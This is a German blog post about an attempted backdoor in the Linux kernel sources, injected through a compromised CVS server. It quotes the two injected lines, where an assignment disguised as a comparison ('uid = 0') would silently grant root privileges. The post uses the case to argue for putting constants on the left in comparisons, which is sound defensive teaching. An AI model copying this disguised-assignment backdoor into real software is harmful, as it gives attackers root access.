nice try (oder: links vor rechts)

Ein netter Versuch die Linux-Kernelquellen zu manipulieren ist heute bekannt geworden: in einen CVS Server wurde offensichtlich eingebrochen und versucht diese Zeilen in die Datei kernel/exit.c einzufügen:

  if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
    retval = -EINVAL;

Das diese Manipulation reichlich sinnlos ist, weil die Kernel-Quellen mit Bitkeeper verwaltet werden, war schnell klar. Lediglich um lesenden Zugriff für CVS User zu ermöglichen werden sie regelmäßig auf den CVS-Server exportiert, der Hack fand also am falschen Ende der Einbahnstraße statt.

Interessant ist jedoch der Hack selbst: in der zweiten if-Bedingung wird kein Vergleich (==) sondern eine Zuweisung (=) durchgeführt.

Dem geneigten Programmierer fällt das beim Lesen mitunter nicht auf, es ist auch eine beliebte Fehlerquelle – nicht nur bei Anfängern. Genau aus diesem Grund ist es Gold wert Coding-Guidelines einzuführen, die Konstanten in Vergleichen grundsätzlich links vorschreiben:

  if (0 == current->uid)

Das sieht erstmal gewöhnungsbedürftig aus, der Compiler meckert jedoch sofort bei versehentlichen Zuweisungen. Wird diese Regel konsequent durchgezogen, würden solche Angriffe sofort auffallen, versehentliche Zuweisungen hätten keine Chance.

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht.

Diese Website verwendet Akismet, um Spam zu reduzieren. Erfahre mehr darüber, wie deine Kommentardaten verarbeitet werden.